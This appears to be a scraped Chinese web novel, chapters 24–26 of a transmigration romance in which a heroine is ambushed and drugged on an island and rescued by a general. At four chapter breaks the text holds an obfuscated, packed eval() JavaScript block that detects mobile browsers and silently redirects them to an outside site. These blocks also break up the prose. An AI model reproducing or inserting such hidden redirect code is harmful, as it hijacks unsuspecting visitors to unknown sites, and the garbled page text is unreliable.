;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446684|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太重你背不动,我可以帮你。”
她保证,她完全是为了风慕予和赵怜儿着想。
绝对不是因为馋。
赵怜儿想了想,觉得陈念念说得有道理。
她辛苦学了一身厨艺,就是为了抓住风慕予的胃。
继而抓住他的心。
选妻宴已然进行到最后一轮,留给她的时间不多了,她必须倾尽全力,陌生的海岛,或许是最好,也是最后的机会。
待到陈念念离开后,她看着行李发呆许久,最终咬了咬嘴唇,做下了决定:“双儿,将六皇弟新制的药装上。”
夜半,陈念念躺在床上辗转反侧,怎么也睡不着。
隐隐的,心底有一种不太好的预感。
风慕予特地安排的海岛比拼,会是什么样子呢?
特地去往海岛,真的只是为了比拼那么简单吗?
她忽起身,在房间里翻了翻,翻到了一个火折子和一把小匕首,又打开系统仓库,找出了先前打折时囤的一箱自热米饭和一打矿泉水。
很好,这么看,哪怕是荒岛求生,她也不至于立刻饿死。
-
辰时三刻,晨光莞尔。
将军府门前人声鼎沸,车马络绎不绝。
风慕予和黎修齐、黎景明齐齐站在选妻宴开始那日的高台上。
黎修齐的目光漫不经心地落在一辆马车上,动了动扇子,笑道:“慕兄,先前有人潜入你房中意图不轨之事,不是早已调查清楚了吗?正是陈念念和陈娉婷,怎么不见处置她们,任着她们一同前往海岛?”
黎景明闻言,面上多了一点担忧,急忙插话道:“怎么处置她们?陈娉婷我不管,但会变戏法的陈三小姐陈念念,我看着绝对不是坏人。事发之后慕哥还原现场,不是还猜测说可能是陈三小姐救了他吗?虽不知道她为了什么出现在慕哥的房间里,但看得出对慕哥绝对没有恶意,慕哥分明应该谢谢她,怎么能不分青红皂白,还恩将仇报?”
他虽只见过陈念念几面,却对她有种莫名的好感。
风慕予一身干净利落的黑衣,鸦青色的发带束起一头长发,一手搭着栏杆,微微低着头,居高临下,正巧看见陈念念掀起车窗帘子。
她好奇地自车窗里探出半个头,左右看了看,忽感觉到了什么,抬起头望向他所在的高台,直直撞上了他的目光。她没有像选妻宴开始那日一样匆忙移开目光,反而轻轻笑了笑,冲着他招了招手。
他面无表情,语气冷得一如往常:“罪不至死,不足为惧。”
只眸光中隐隐多了一点异色,似什么蠢蠢欲动,不可言说。
黎修齐面上的笑意更深了几分,半开玩笑地说:“也是也是,咱们的赤影将军,豁达大度,宽以待人,怎么会将下药这种小手段放在眼里,她们两个不过是小鱼小虾罢了,剩下的,才是一条大鱼。”
风慕予认真道:“我走后,将军府的一切就交给太子殿下了。”
黎修齐忽地收起折扇,也收起了面上的戏谑,郑重其事地说:“慕兄放心,安排了这么久,终于能够收网,孤自当确保万无一失。”
说完,他特地嘱咐黎景明,“你最重要的任务,保护好慕兄。”
黎景明摆了摆手,发出质疑:“你确定慕哥需要我的保护吗?”
偏头看见黎修齐带着明显告诫意味的脸色,他急忙识相地改口,“好了好了,我知道了。都准备妥了,我们赶紧出发吧。”
24. 倒吊
一行人马如同一条长龙,浩浩荡荡地前往京城东郊的码头,随后,登上准备好的船只,在海上又行了一日半,终于到达目标海岛。
陈念念排队下了船,下意识深吸了一口气。
海风带着咸咸的味道,许是刚刚下过一场雨,空气凉而湿润。
放眼望去,率先入目的,是一片广阔的沙滩,沙滩上早已扎好了不少的营帐,营帐中间还有不少篝火、灶台和桌椅。
看得远一些,沙滩渐渐变为了绿地,再远一些,绿地渐渐变为了山丘,山丘之上树木郁郁葱葱,看不清楚具体的道路。
鉴于所有人都在船上颠簸得够呛,且上岛时已近夜晚,霜降做为此次海岛比拼的总负责人,下令先休整一日,明日再正式开始比拼。
赵怜儿放下身份,主动帮忙准备晚膳,出色的厨艺收获一致好评。
第二日一早,霜降宣布了海岛比拼的规则。
他们已事先在海岛各处藏好了数量不等的木牌,所有参加者两人为一队,互相合作,寻找木牌,最终,找到木牌数量多的队伍为胜。
比拼为期三日,期间营地不提供住宿,也不提供吃食。
每个参加者都将收到一个特制信号烟,遇上任何意外或者不适,冲着天空施放信号烟,即视为放弃比拼,等待护卫队救援。
陈念念没想到,她的预感成真了。
真是荒岛求生,还带综艺直播既视感。
“拿三样轻便的你认为最需要的东西,我们赶紧出发,找东西的关键就在于快,一定得抢在别人的前面,争取天黑之前回到这里。”
她和赵怜儿分为了一队,一面整理行李,一面颇有经验地说着。
“听你的。”赵怜儿点了点头,也从行李里挑好了东西。
她们一路找一路走,率先离开沙滩,到了山上。
山丘远看并不大,深入其中,才知草木繁盛密集,道路错综复杂,不知不觉中,她们已完全看不见其他参加者的身影。
不过,将军府的护卫队分散看守在各处,不用担心遇上什么危险。
爬山体力消耗颇大,到正午时,她们已感到十分疲惫。
然而,一个木牌都没找到。
赵怜儿停下脚步,道:“不如我们在这里休息会。”
四处看了看,又说,“我去附近找点干柴生火。”
陈念念没多想,直接找了棵树,背靠着坐下。
一面啃着干粮,一面等,等了许久,却始终不见赵怜儿回来。
她心中担忧,向着赵怜儿离开的方向寻找,在山坡旁的树枝上发现了一寸白色的布料,像是从赵怜儿的裙子上扯下来的。
她下意识向着山坡下看了看,但树木遮掩,什么也看不清。
难道赵怜儿一个不小心掉下去了?
她小心地滑下山坡,一直到底部,都没有找到赵怜儿的身影,正无计可施,忽在草丛中发现了一串脚印,看大小,和赵怜儿的相符。
她顺着脚印往前走,只觉林子越来越深,四周越来越静,气氛怪怪的,她已离开了护卫队看守的“安全区”,再继续,不知会去何处。
想了想,没办法,赵怜儿是必须要找的。
万一赵怜儿真的遇上了什么危险,她的任务可就歇菜了。
保险起见,她从袖中拿出自己的信号烟,释放到了空中。
好在她弃权并不会影响到赵怜儿,反正她也不想争什么前三甲,还是赶紧叫点人来尽快把赵怜儿找到吧。
又走了一会儿,陈念念到了一处小湖边。
地上的脚印断了,四周也没有其他任何线索。
她直觉不对,正准备回头,眼角余光瞥见湖面上的一寸倒影。
想要看仔细些,她下意识向前走了一步。
忽地,脚腕上一痛。
紧接着,一阵天旋地转。
她被隐藏在草下的绳子捆住了脚,整个倒吊在了树上。
四周的树叶动了动,不一会儿,燕梦瑶走到了陈念念面前。
一袭红衣如烈焰,站在满目翠绿之间,显得格外扎眼。
“你知道吗,若是在燕国,毁了我一寸衣角,便是要判死刑的,你处处与我作对,能够活到现在,已是命大,不过,一切到今天为止了。护卫队现在恐怕自顾不暇,没有任何人会来救你……”
她到黎国来的任务,是在选妻宴上夺得风慕予的青睐,成为将军夫人,然后,找机会杀死风慕予。她知道,她已经没有可能入风慕予的眼成为将军夫人了,那么剩下要做的,就是找机会杀死风慕予。
为了杀死风慕予,他们已做过多次尝试,在黎国布局多年,安插细作无数,等待合适时机,没想到,风慕予竟会主动将机会送上门。
“风慕予竟会想到到岛上来比试,无异于自断后路,插翅难飞,今日在岛上的人,还有将军府、春归堂……通通去死吧!哈哈哈哈……”
她控制不住地笑出声,肆意张扬,再不像将军府中时有所压抑。
她忍耐陈念念已久,岛上的行动开始后,她便主动要求前来亲自处理陈念念,“你呢?想到自己会怎么死了吗?”
陈念念下意识挣扎了两下,发现挣不开后,就放弃了。
挂在绳子上,身体摇摇晃晃,视线颠倒着望向燕梦瑶,只觉面前的人格外扭曲狰狞,扭曲狰狞的燕梦瑶,大概才是她真正的面目吧。
她非常真诚地说出自己的想法:“可我还不想死。”
“放心,我不会轻易就让你死掉的。”
燕梦瑶抓住陈念念的头发,从腰间拿出一把匕首,抵在陈念念的脸上,“都说女子最怕容貌被毁,但你这张脸,真是让人毫无兴趣。”
顿了顿,她问:“你说,砍了你的手脚削了你的耳鼻,如何?”
陈念念皱了皱眉,没有回话。
燕梦瑶的意思,摆明了是要折磨她,怪凶残的。
都说反派死于话多。
燕梦瑶还在滔滔不绝,是不是说明她还有机会?
但她只剩下2积分了,好像什么逃生道具都买不起。
她试探了一下系统:“坑货,你有什么解决办法吗?”
系统:【并没有呢。】
行吧,还是得靠自己。
死是绝对不能死的,弥补任务不能复活,死了就都结束了。
让她好好想想,有什么办法能活。
燕梦瑶手中的匕首渐渐从陈念念的脸上滑到了耳畔,一直嚣张地笑着,殷红的嘴唇鲜艳如毒,似在研究怎么割下耳朵更为好看。
陈念念听着燕梦瑶的笑声,只觉头疼。
她目前最大的困境是——脚被绳子捆住了。她在腰上藏了一把匕首,如果能够找机会翻起身,将脚上的绳子割断,应该有机会逃跑,或者,如果能够反向挟持燕梦瑶,便能够化被动为主动。
那么,第一步,她要怎么偷偷拿到腰上的匕首呢?
“陈念念——”
“陈念念,回答我!”
……
呼唤声由远及近,声音很熟悉。
是风慕予。
燕梦瑶不由一惊,一不小心在陈念念的耳边划出了一道血痕。
在她的预想中,她的行动哪怕被人发现,追过来的也不过是护卫队那些小喽啰,她带来的人完全可以应付,却没想到,会是风慕予。
如果和风慕予正面较量,她没有任何获胜的把握。
她的面上泛起一丝阴冷,当即割断绑在树干上的绳子,将陈念念放下,在陈念念开口叫喊之前,将一粒药丸塞进了陈念念的嘴里。
陈念念本已摸到了腰间的匕首,正准备不动声色地抽出,谁知燕梦瑶提前下手,她一时吃痛,手上不稳,刚到手的匕首掉落在地。
她重重摔在地上,被迫将药丸咽下,想要回应风慕予,却发现发不出任何声音,想要捡起一旁的匕首,却发现全身都失去了力气。
很好,她又又又中毒了!
燕梦瑶急忙将陈念念拖到湖边山壁茂盛的藤蔓后,听着风慕予的声音越来越近,又命令隐藏在树上的手下:“你们两个去引开他。”
“陈念念——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446685|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“陈念念,你……”
风慕予的声音戛然而止。
远远地,黑色的身影立在树梢上,正观望着什么。
系统指望不上了。
靠自己也错过了时机。
陈念念的心中终于难以抑制地生出了惧怕。
怕不是真要死在这里吧?
不,还有风慕予。
如果风慕予来到湖边,看到这里的情形,一定会发现问题,但他显然已被燕梦瑶的手下吸引了注意力,她绝不能眼睁睁看着他远去。
有什么办法,能够让风慕予发现她呢?
忽地,她的脑中浮现出被风慕予捡走的那只耳机。
窃听器的有效可使用次数为3次,她只使用了2次,还剩下1次,所有道具并没有消失,只要她打开窃听接收器上的蓝牙,两只耳机便会接收到信号,伴随着一阵震动。风慕予早在小院中时就发现了蓝牙的连接规律,只要感觉到震动,一定会明白她就在附近。
前提是,他还将那只耳机带在身上的话。
无论如何,试一试,或许是她最后的机会。
由于药力的影响,她艰难地动了动手指,咬紧了牙,几乎用尽了全力,才触碰到袖中的窃听接收器,用力按下,期许地望向前方。
安静的山林,平静的湖面,星星点点自叶间落下的天光。
四面都寻不见,那抹熟悉的黑色身影。
燕梦瑶只觉风慕予已经被成功引开,暗暗舒了一口气,但仍没有自藤蔓后现身,抓紧了陈念念的头发,极为小心谨慎。
陈念念垂下眼,一时心绪复杂。
陡然间,树叶窸窸窣窣,不住地掉落,枝上的鸟儿纷纷惊起,地上的爬虫四处飞窜,如同一阵疾风过境,席卷了所有生灵。
“啊——”守在暗处的人影,齐齐应声摔落在地。
紧接着,一柄长剑飞舞,山壁上的藤蔓四散纷飞。
陈念念和燕梦瑶躲藏之处,一瞬便没了任何遮掩。
风慕予执着长剑,轻捷地落在了她们的面前。
“你……你怎么……”
燕梦瑶又惊又慌,一时竟没能说出完整的话,看着不远处不省人事的手下,立即将陈念念拉到了自己身前,防止风慕予对她出剑。
见风慕予果然停下了挥剑的动作,她稳了稳心神,望向风慕予,不解地问:“将军大人,你为什么要这么在乎一个丑八怪呢?你的眼光可太差了,论美貌,论才能,论身份,我哪里比不上她?”
她用眼角的余光寻找着脱身的路线,忽而笑了笑,眼中的阴狠清晰明了,用力将陈念念推入身旁的湖中,转身飞上了山壁。
风中还留着她的声音:“她中了毒,在水中恐怕……不知道,我的尸体和她的尸体,将军大人,更想看见哪个呢?”
陈念念一头栽进了湖里,刺骨的凉意瞬间侵入四肢百骸。
她本是会游泳的,但此刻全身无力,根本无法控制身体,只能任由自己向下沉。她努力憋气,但许是药力影响,憋了没一会儿便撑不住了,湖水毫不留情地灌入她的口鼻,呼吸越来越困难。
她的身体一直在向下沉,向下沉,脑子逐渐混沌。
她艰难地眨了眨眼,看见了风慕予向她靠近。
他抓住了她的手臂,环住了她的腰,紧紧将她抱在了怀里。
她的心里忽生出一个念头,她不靠系统,不靠自己,原来还可以靠风慕予,上一次在遗珠楼,上上一次在山寨,都是风慕予救了她。
风慕予带着陈念念浮出水面,迅速游到了岸边。
蹲下身,将她平放在地上,见她意识模糊,他急忙按了按她的胸口,让她将呛入的水吐出,直到她的呼吸变得顺畅,才停下动作。
湖水将陈念念全身都浸湿了,长发披散,乱作一团一团,大片水渍残留在她的额上、脸上,弄花了她厚重的妆容。
他随手用衣袖为她擦了擦脸,擦着擦着,动作越来越轻,越来越慢。拭去所有的花里胡哨,他终于看见了她最真实的面目。
不由为之一愣。
25. 真容
风慕予怎么也想不到。
陈念念竟长着一张夜夜流连在他梦中,让他苦苦相思数年的脸。
姣好的面容,略显苍白。
双目迷蒙,似睁非睁,眸中落着一层稀薄的水汽。
眼角到下巴的轮廓,伶俐而流畅。
很熟悉,又透着几分不同。
但那般神韵,不会错的。
他当即伸手将陈念念抱在怀里,将她的头按在自己的胸口,抱得很紧,按得很重,仿佛只要一松手,怀中的温度就会变为泡影。
近一个月里,所有因陈念念而生的异样感觉,瞬间被放大千倍万倍,一瞬间通通涌上心头,激烈地翻涌,让他的心绪难以平静。
他不知道自己是怎么了,只是完全控制不住自己的举动。
也并不想控制。
陈念念的意识渐渐恢复,但仍无法发出声音,身上也没有太多力气,下意识推了推风慕予,却推不动一分,一时不知如何是好。
风慕予感觉到陈念念的挣扎,知道自己用力太过了些,却没有退让,将头靠在她的肩上,蹭了蹭,请求道:“让我抱一会儿。”
忽而变得柔和的语气,没有了一丝平日里的冷意。
反而,隐隐透着一点欢愉,还有,撒娇的味道。
陈念念靠在风慕予的胸口,听见他清晰的心跳声,一瞬仿佛回到了多年以前,那时的风慕予如阳光明媚,温和开朗,望向她时,眼中总带着化不开的笑意,对她说话,总会不自觉带上些许撒娇的味道。
既然他都求她了,她还能怎样呢。
当然是满足他。
不知过了多长时间,风慕予终于回过神,意识到自己的失态。
将陈念念重新放回地上,他低下头,双眼根本无法从她的脸上移开,深邃的眸光中似有什么在激烈碰撞,一瞬狂喜,一瞬哀伤。
压下繁杂的思绪,他探了探她的脉搏,自腰间拿出一个小瓶子,倒出一粒药丸,递到她的唇边,道:“解毒丹,吃了它。”
他早知此行凶险,让柳在明为他制好了万用的解毒丹,只要不遇上遗珠楼中那般凶险的剧毒,服下一粒,便可无大碍。
陈念念吃下药丸,继续在地上躺了一会儿,感觉到气力回到了身体里,尝试着坐起身,随手整理了一下衣领,“刚刚……”
风慕予的注意力随着陈念念的动作落在她的胸前,眼中忽多了一丝尴尬,解释道:“事出紧急,那是我在古书上习得的急救之法。”
陈念念疑惑地看了看风慕予,又低头看向自己的手,想了想,才明白风慕予在尴尬什么,不以为意道:“多谢将军大人救命之恩。”
刚刚她虽不太清醒,但依稀记得,他好像压她胸来着。
扯什么“古书”,不就是她留下的《日常急救知识手册》吗?
天色比之方才暗了许多,看上去似乎快要下雨了。
她想起更重要的事,皱了皱眉,问:“你去找赵怜儿了吗?”
风慕予回答:“没有。”
陈念念用手撑地,吃力地站起身:“我们先前分开了,后来我四处找都找不到她,真怕她遇上什么意外,我们赶紧去找她……”
她堪堪站直,想要向前走,脚下却无力,身体向前倒去。
风慕予顺手扶住她的腰:“你现在走不了。”
别说走了,连站稳都困难,陈念念只觉头疼。
略一思索,她干脆推开风慕予,直接坐回了地上,说出自己的想法:“我走不走不重要,天色不早了,找到赵怜儿要紧,我可以先留在这里,你找到赵怜儿后,派人来接我,如何?”
风慕予低头望向陈念念,见她一副理所当然的模样,弯下腰,凑到她的面前,语中透出一丝无奈,妥协道:“我带你去找她。”
说着,他自湖边抓起一把泥土,胡乱地抹在她的脸上。
陈念念不由一惊,不明白风慕予是什么意思。
紧接着,更让她不敢置信地是,她忽觉身子一轻,整个人被风慕予打横抱了起来,不知是一时失误还是故意的,他看似要摔倒般向前迈了两大步,才将她牢牢抱在怀里,吓得她下意识环住了他的脖子。
山林之间,一抹黑影飞速闪过。
陈念念抓着风慕予的衣袖,看着两旁的景色飞速地拭去,开始习惯了这种与风同行的感觉,只心中有些疑惑,百思不得其解。
不是都说风慕予很讨厌与人有任何身体接触吗?
曾经,他连不小心被她碰触了一寸衣角,都要当场用剑割断,好不容易被她耍赖说服,也只愿意像扛货物一样将她扔在肩上,可如今,他对她的触碰越来越亲密,越来越自然,似乎已完全无所顾忌。
感觉,怪怪的。
难道她忽略了什么?
天越来越昏暗,不知不觉间,真的下起了雨,雨势逐渐增大。
沿着山道一路向上,找遍各处,明明距离护卫队巡逻的“安全区”非常近,却始终没有遇见一个护卫队成员。陈念念知道护卫队绝对不会擅离职守,再结合燕梦瑶在湖边说过的话,很明显,真的出事了。
好在,在天黑到彻底看不见之前,他们找到了赵怜儿。
赵怜儿衣衫凌乱,浑身湿透,狼狈不堪,眼眶红肿着,泪水和雨水混在一起,似是哭了一路,忽望见风慕予,一瞬惊喜,一瞬错愕。
她走向风慕予,却见风慕予并不同她说话,只得主动开口说起自己的遭遇,张皇无措、楚楚可怜,隐隐带着一分质问:“我不小心滑下了山坡,想要原路返回,却发现迷路了,怎么也找不到念念的所在,一直被困在林中,兜兜转转……慕哥哥,你、你们是怎么……”
陈念念当即推了推风慕予,示意他放手。
等了等,见他没有反应,她又偷偷掐了一下他的手臂,疯狂暗示,他却仍面色平静,没有一点慌乱和心虚,也没有放手的意思。
之前扔她扔得那么随意,现在当着自己白月光的面这么亲密地抱着别的女人,怎么反而没有求生欲了?还在危险边缘疯狂试探?
她只得替他解释:“怜儿,我和将军大人担心你,特来找你。”
风慕予感觉到陈念念挣扎得越来越厉害,加重力道将她牢牢制住,没有回答赵怜儿,转身留下一句:“到前面山洞避雨。”
赵怜儿还想追问什么,见风慕予快速走远,只得匆忙跟上。
山洞还算宽敞,容纳他们三人绰绰有余。
因背着风,没有雨水渗入,环境干燥,温度适宜。
风慕予将陈念念轻轻放在地上,随即,出山洞寻了些柴,轻车熟路地升起火,又自身上拿出一个折叠小锅,倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446686|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满水煮在火堆上。
陈念念双手环膝,靠在山壁上。落了水又淋了雨,她整个人冷得面色苍白,手脚冰凉,若不将湿衣服脱下,极有可能感冒,但荒郊野岭,脱是绝对不可能脱的,只能继续穿着,坐在火堆旁烤烤火。
她想再和赵怜儿解释几句,但看见赵怜儿的目光紧紧地追随着风慕予,根本没有心思理睬她,便也明白了,她说什么都没有用。
得风慕予有所表示才行。
她忍不住偏头瞪了眼风慕予,简直想撬开他的脑子研究一番。
就他目前的表现来看,到手的媳妇儿都要跑,更何况,还没有到手。明明做别的事时都极为聪明,怎么在感情上,像个大傻子?
若赵怜儿真因为这么点小事不要他了,他以后找谁哭去?
她又找谁哭去?
心中无奈,又无所事事,不觉间,她竟闭上了眼,睡着了。
也不知过了多久,半梦半醒间,她听见一阵谈话声。
“慕哥哥,若我真的出了意外,你会在意吗?”
赵怜儿的语中带着哭腔,满是期许地问。
“会。”
风慕予答得简单干脆。
陈念念闭着眼,没有睁开,只觉自己醒来的时机着实不太恰当。
凄风苦雨,火光朦胧,风慕予和赵怜儿正在互诉衷肠,感情升温的关键时刻,她不应该在洞里,她应该挖个洞自觉地钻下去。
“那回去后,你会选择我吗?还是选择,陈念念呢?”
赵怜儿继续问。
柴火燃烧的声音,噼噼啪啪,接连不断。
山洞外的风声和雨声,也清晰可闻。
却久久没有听见风慕予的回答。
赵怜儿等了又等,终没有等到想要的答案,咬了咬嘴唇,直接问道:“慕哥哥,怜儿不想再回越国了,让我留在你的身边,好吗?”
语中苦涩难耐,说着说着,更带上了哀求之意,“锦衣华服,亲兵护送,你一定以为我在越国过的很好吧?我堂堂一国公主,若是过得好,又何须苦学厨艺,来讨好身边人,又何须低声下气,处处息事宁人?你永远想不到,我回到越国之后,过得是怎样的……”
“你可以留下。”
风慕予说得颇为认真,“我答应过,会好好保护你。”
终于上道了!
早这么说话不就好了吗?
陈念念好奇风慕予此时的表情,忍不住偷偷睁开了一条缝。
赵怜儿原本坐在陈念念的身侧,忽站起身,向着临近洞口处的风慕予走去,眸中映着灼灼的火光,眼底透着呼之欲出的深意,对风慕予道:“怜儿想将里面的衣裳也烤干,慕哥哥,你可以帮帮我吗?”
说着,她直接动手解开自己的衣带。
风慕予立时转身往洞外而去:“烤好叫我。”
赵怜儿心中一急,直接向前扑去,自背后抱住风慕予,动情道:“慕哥哥,你知道的,我喜欢你,我愿意将自己的一切都给你……”
她已脱去了外衫,解开了里衣,露出白皙光滑的肩头,用力收紧双手,将赤、裸的肌肤完全贴在风慕予的背上。
陈念念:“?”
暗示得不能更明显,风慕予不会不懂。
那什么,他们是真的打算当她不存在吗?
26. 幻觉
美色当前,干柴烈火。
风慕予却毫不犹豫地将赵怜儿推开了。
赵怜儿伸出手,想要再次抓住风慕予的衣袖,但被风慕予提前躲过,自嘲地笑了笑,终于打消念头,靠在山壁上,质问道:“为什么我无论做什么,你都不肯接受我?你根本不会选择我,对吗?”
风慕予始终背着身,没有回头看赵怜儿一眼。
正准备继续往洞外走,忽有一瞬头疼欲裂,身子一阵踉跄。
“对不起,我偷偷在你喝的水里下了药。”
赵怜儿垂下眼,不敢直视风慕予:“我知道,寻常的毒药根本不能耐你何,这药对人体没有任何伤害,只是会让你的脑中产生幻觉,让你看见藏在你心底的那个人,慕哥哥,告诉我,你看见了谁?”
风慕予站稳了身子,摇了摇头,没有说话。
“不是我……我早就明白的,从来不是我……”
赵怜儿的声音越来越沙哑,脸颊上布满了泪痕,想要停止哭泣,却完全控制不住自己,喃喃说着,“他们都以为,你喜欢我,你从不关心任何人,却独独对我照顾有加,你从不愿与旁人多一点接触,却不厌其烦地满足我提出的要求,可只有我知道,你根本一点也不喜欢我,也一点不在意我,我在你眼中和其他蝼蚁没有任何区别……”
陈念念听得不明所以。
风慕予根本不喜欢赵怜儿?
风慕予的白月光若不是赵怜儿,那还能是谁?
赵怜儿继续说着:“你既然不喜欢我,为什么要处处照顾我,为什么要拼了命保护我,就让我在你看不见的地方死去,不好吗?”
她早已不想活着,一点儿也不想这么痛苦地活着。
“难道就因为她曾关心我,就因为她留下的一句话,你就要永远做……”她忽又抬起头望向风慕予,满满委屈之中,多了几分掩不住的嫉妒,“你知道,那天晚上,我看见你将陈念念抱在怀里时,我有多惊讶,有多羡慕,有多么想发疯吗?从你我相识,到分别,再到重逢,你从来连我的一根手指,一根头发都不愿意触碰……”
语中透出几分了然,“说来,陈念念真的很像她,一举一动,谈吐言辞,那些无意间的小动作小习惯,喜欢的吃食口味,都和她一模一样,简直就像她回来了一样,也难怪你会控制不住地被吸引……”
风慕予斥道:“闭嘴。”
赵怜儿却没有乖乖听话:“这还是你我重逢以来,你第一次如此激动。每次与你见面,我只有提起她,你才会愿意与我多说几句,你才会施舍我一点点笑意,只有她,能让你变成你原本的样子……”
她直视风慕予,笑问,“慕哥哥,你现在看到的,是她吗?”
风慕予抽出长剑,抵在赵怜儿的胸前,冷冷重复道:“闭嘴!”
陈念念听得越来越糊涂。
赵怜儿口中的“她”是谁?就不能直接说个名字吗?
“她”对风慕予有这么大的影响,难道才是白月光本光?
忽地,她的脑中闪过一个大胆的念头。
赵怜儿说,她和“她”很像,简直可说一模一样。
和她那么像的人,在风慕予的生命中,除了她自己,还能有谁?准确地说,是她上次穿越时的身份,黎国长公主——黎凤心。
不,不可能的,她一定是想多了。
她遇见风慕予时,他不过是个孩子,她诈死离开时,他也才十五岁,他怎么可能会对她产生男女之情,还为她守身如玉至今……
“我很清楚,你能够容忍我到现在,是因为什么。”
赵怜儿看着风慕予手中的剑,没有退让,但也没有再靠近他的意思,面上苦涩满溢,却硬是笑了笑,道:“对不起,我失态了。”
说完,她将衣裳穿起,不管不顾地走出了山洞。
山洞外,雨势渐渐停歇,天地一片漆黑。
微弱的火光映照下,隐约可见弥漫在山林间的水汽。
无处不是湿润,冰凉,杂乱,如同经历过狂风暴雨的内心。
陈念念皱了皱眉,真想将赵怜儿拦下来。感觉赵怜儿知道得还挺多,怎么就不能说个清楚呢,留个哑谜让她猜来猜去,着实麻烦。
转念,她想到自己正在装睡,不小心偷听到了别人的秘密,还是不要轻举妄动的好,万一露馅儿了,说不定会被杀人灭口的。
风慕予没有去追赵怜儿,反而走到陈念念的面前,低下头看了看她,见她的睫毛控制不住地颤抖着,直接拆穿道:“别装了。”
陈念念只得老实地睁开眼睛,尴尬地笑了笑。
想来也是,以风慕予的功力,怎么可能判断不出她是真睡还是假睡,恐怕一听她呼吸的频率,就知道她老早就在装模作样了。
她想了想,站起身,在山洞里活动了一下手脚,感觉身体恢复如初,神智清明,除了肚子有点饿,暂时没有别的什么不适。
暮色已深,又是雨后,山间行路不易。
他们显然不可能赶回营地,要在山洞留宿,得填饱肚子才行。
她在身上找了找,发现行李不见了,大概是在和燕梦瑶纠缠时弄丢了,好在,她早有准备,从袖子里拿出一个真空密封袋,又从真空密封袋里拿出三张薄饼,细细摊开,用柴架在火堆上加热。烤至表皮微微卷起,她将薄饼收回,尝了一口,满意地点了点头。
眼角的余光瞥见风慕予还在注视着她,她随口问:“吃吗?”
风慕予没回话,却毫不客气地伸手拿过了陈念念手中的薄饼。
陈念念忍不住低下头,偷偷勾了勾唇角。
风慕予孤身来寻她们,身上除了一把长剑,什么也没带,想必早已饿得厉害,面上看着高冷矜持,其实,还是很识时务的嘛。
赵怜儿在山洞外冷静了一会儿,乖乖回到了洞里。
陈念念立时将热腾腾的薄饼递上。
赵怜儿看了看陈念念,又习惯性看向风慕予,见风慕予自顾自吃着薄饼,没有一点对她的担忧,眸光霎时暗了暗,摇头拒绝陈念念。
她哪里还有什么胃口。
累了一整日,又哭得厉害,她早已精疲力竭,随便找了个角落坐下,靠在山壁上,一转眼,便沉沉睡去。
睡梦中,眼角还挂着泪花。
陈念念却恰恰相反。
刚一觉睡醒,又吃饱喝足,无论怎么强行躺下,都睡不着。
那就干脆不睡了吧。
她偏头看向山洞外。
没有月光,也没有星光,茂密的深林一片黑暗。
苍茫的黑暗之中,层叠的树影之下,却透出一点不寻常的墨色。
是守在洞口不远处的风慕予。
他隐在暗处,怀抱着长剑,背靠在一棵树上,闭目养神。
陈念念蹑手蹑脚地出了山洞,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455633|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走到风慕予的身前,颇为无聊地左看看,右看看,站着看完了之后,又蹲下身,凑近了细细打量。
无论看几遍,他的模样,都是令人惊艳的。
即便打湿后又烤干的衣裳,满满都是皱褶,即便发带松散,发型凌乱,不曾重新打理,但好看就是好看,从头到脚,哪里都好看。
黎国上下乃至邻国万千闺阁少女都为他趋之若鹜,是有道理的。
他的眉宇微微动了动。
显然早已发现了陈念念的靠近,只是懒得搭理她。
他随意地靠坐着,整个人看似轻松悠闲,实则屏息凝神,耳听八方,留意着周遭的一草一木,丝毫都不曾松懈。
燕梦瑶的目标是杀死风慕予。
随时可能带着大批刺客出现,对他们进行袭击。
但此时此刻,陈念念的心中却没有一点惧怕和慌乱。
或许是因为,她向来是一条淡定的咸鱼。
也或许是因为,她相信风慕予轻松就能解决一切。
陈念念看了看风慕予的四周,也寻了个地方席地而坐。
“你想要什么?想做什么?”
“你有什么不开心的事?”
“藏在你心里的白月光,叫什么名字?”
……
